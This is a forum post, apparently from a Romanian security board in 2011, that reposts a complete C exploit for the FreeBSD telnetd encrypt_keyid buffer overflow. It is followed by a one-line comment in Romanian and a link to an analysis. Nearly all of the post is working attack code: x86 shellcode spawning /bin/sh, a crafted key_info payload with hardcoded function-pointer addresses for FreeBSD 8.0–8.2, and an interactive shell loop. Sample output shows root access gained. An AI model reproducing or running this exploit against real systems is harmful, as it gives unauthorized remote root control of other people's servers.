Nytro Posted December 27, 2011 Report Posted December 27, 2011 (edited) Telnetd encrypt_keyid: Remote Root function pointer overwrite/*************************************************************************** * telnetd-encrypt_keyid.c * * Mon Dec 26 20:37:05 CET 2011 * Copyright 2011 Jaime Penalba Estebanez (NighterMan) * * nighterman@painsec.com - jpenalbae@gmail.com * Credits to batchdrake as always * * ______ __ ________ * / __ / /_/ / _____/ * / /_/ /______________\ \_____________ * / ___ / __ / / __ / \ \/ _ \/ __/ * / / / /_/ / / / / /___/ / __/ /__ * ____/__/____\__,_/_/_/ /_/______/\___/\____/____ * * ****************************************************************************//* * * Usage: * * $ gcc exploit.c -o exploit * * $ ./exploit 127.0.0.1 23 1 * [<] Succes reading intial server request 3 bytes * [>] Telnet initial encryption mode and IV sent * [<] Server response: 8 bytes read * [>] First payload to overwrite function pointer sent * [<] Server response: 6 bytes read * [>] Second payload to triger the function pointer * [*] got shell? * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) * */#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <sys/time.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#define MAXKEYLEN 64-1struct key_info{ unsigned char keyid[MAXKEYLEN]; unsigned char keylen[4]; unsigned char dir[4]; unsigned char modep[4]; unsigned char getcrypt[4];};static unsigned char shellcode[] = "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax "\x68\x6e\x2f\x73\x68" // push $0x68732f6e "\x68\x2f\x2f\x62\x69" // push $0x69622f2f "\x89\xe3" // mov %esp,%ebx "\x50" // push %eax "\x54" // push %esp "\x53" // push %ebx "\x50" // push %eax "\xb0\x3b" // mov $0x3b,%al "\xcd\x80"; // int $0x80static unsigned char tnet_init_enc[] = "\xff\xfa\x26\x00\x01\x01\x12\x13" "\x14\x15\x16\x17\x18\x19\xff\xf0";static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";static unsigned char tnet_end_suboption[] = "\xff\xf0";/* * shell(): semi-interactive shell hack */static void shell(int fd){ fd_set fds; char tmp[128]; int n; /* check uid */ write(fd, "id\n", 3); /* semi-interactive shell */ for ( { FD_ZERO(&fds); FD_SET(fd, &fds); FD_SET(0, &fds); if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) { perror("select"); break; } /* read from fd and write to stdout */ if (FD_ISSET(fd, &fds)) { if ((n = read(fd, tmp, sizeof(tmp))) < 0) { fprintf(stderr, "Goodbye...\n"); break; } if (write(1, tmp, n) < 0) { perror("write"); break; } } /* read from stdin and write to fd */ if (FD_ISSET(0, &fds)) { if ((n = read(0, tmp, sizeof(tmp))) < 0) { perror("read"); break; } if (write(fd, tmp, n) < 0) { perror("write"); break; } } } close(fd); exit(1);}static int open_connection(in_addr_t dip, int dport){ int pconn; struct sockaddr_in cdata; struct timeval timeout; /* timeout.tv_sec = _opts.timeout; */ timeout.tv_sec = 8; timeout.tv_usec = 0; /* Set socket options and create it */ cdata.sin_addr.s_addr = dip; cdata.sin_port = htons(dport); cdata.sin_family = AF_INET; pconn = socket(AF_INET, SOCK_STREAM, 0); if( pconn < 0 ) { printf("Socket error: %i\n", pconn); printf("Err message: %s\n", strerror(errno)); exit(-1); } /* Set socket timeout */ if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO, (void *)&timeout, sizeof(struct timeval)) != 0) { perror("setsockopt SO_RCVTIMEO: "); exit(1); } /* Set socket options */ if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO, (void *)&timeout, sizeof(struct timeval)) != 0) { perror("setsockopt SO_SNDTIMEO: "); exit(1); } /* Make connection */ if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0) { close(pconn); return -1; } return pconn;}static void usage(char *arg){ printf("Telnetd encrypt_keyid exploit for FreeBSD\n"); printf("NighterMan <nighterman@painsec.com>\n\n"); printf("Usage: %s [ip] [port] [target]\n", arg); printf("Available Targets:\n"); printf(" - 1: FreeBSD 8.0 & 8.1\n"); printf(" - 2: FreeBSD 8.2\n\n");}int main(int argc, char *argv[]){ /* Payload Size */ int psize = (sizeof(struct key_info) + sizeof(tnet_option_enc_keyid) + sizeof(tnet_end_suboption)); struct key_info bad_struct; unsigned char payload[psize]; unsigned char readbuf[256]; int ret; int conn; int offset = 0; if ( argc != 4) { usage(argv[0]); return -1; } /* Fill the structure */ memset(&bad_struct, 0x90, sizeof(struct key_info)); memcpy(&bad_struct.keyid[20], shellcode, sizeof(shellcode)); memcpy(bad_struct.keylen, "DEAD", 4); memcpy(bad_struct.dir, "BEEF", 4); memcpy(bad_struct.modep, "\x6c\x6f\x05\x08", 4); /* Readable address */ /* Shellcode address (function pointer overwrite) */ switch (atoi(argv[3])) { case 1: memcpy(bad_struct.getcrypt, "\xa6\xee\x05\x08", 4); break; case 2: memcpy(bad_struct.getcrypt, "\xed\xee\x05\x08", 4); break; default: printf("Bad target\n"); return -1; break; } /* Prepare the payload with the overflow */ memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid)); offset += sizeof(tnet_option_enc_keyid); memcpy(&payload[offset], &bad_struct, sizeof(bad_struct)); offset += sizeof(bad_struct); memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption)); /* Open the connection */ conn = open_connection(inet_addr(argv[1]), atoi(argv[2])); if (conn == -1) { printf("Error connecting: %i\n", errno); return -1; } /* Read initial server request */ ret = read(conn, readbuf, 256); printf("[<] Succes reading intial server request %i bytes\n", ret); /* Send encryption and IV */ ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc)); if (ret != sizeof(tnet_init_enc)) { printf("Error sending init encryption: %i\n", ret); return -1; } printf("[>] Telnet initial encryption mode and IV sent\n"); /* Read response */ ret = read(conn, readbuf, 256); printf("[<] Server response: %i bytes read\n", ret); /* Send the first payload with the overflow */ ret = write(conn, payload, psize); if (ret != psize) { printf("Error sending payload first time\n"); return -1; } printf("[>] First payload to overwrite function pointer sent\n"); /* Read Response */ ret = read(conn, readbuf, 256); printf("[<] Server response: %i bytes read\n", ret); /* Send the payload again to tigger the function overwrite */ ret = write(conn, payload, psize); if (ret != psize) { printf("Error sending payload second time\n"); return -1; } printf("[>] Second payload to triger the function pointer\n"); /* Start the semi interactive shell */ printf("[*] got shell?\n"); shell(conn); return 0;}Citeam inainte de Craciun despre aceasta problema, se pare ca a aparut un exploit pentru telnetd.Sursa: Telnetd encrypt_keyid: Remote Root function pointer overwriteMore info: http://thexploit.com/secdev/a-textbook-buffer-overflow-a-look-at-the-freebsd-telnetd-code/ Edited December 27, 2011 by Nytro Quote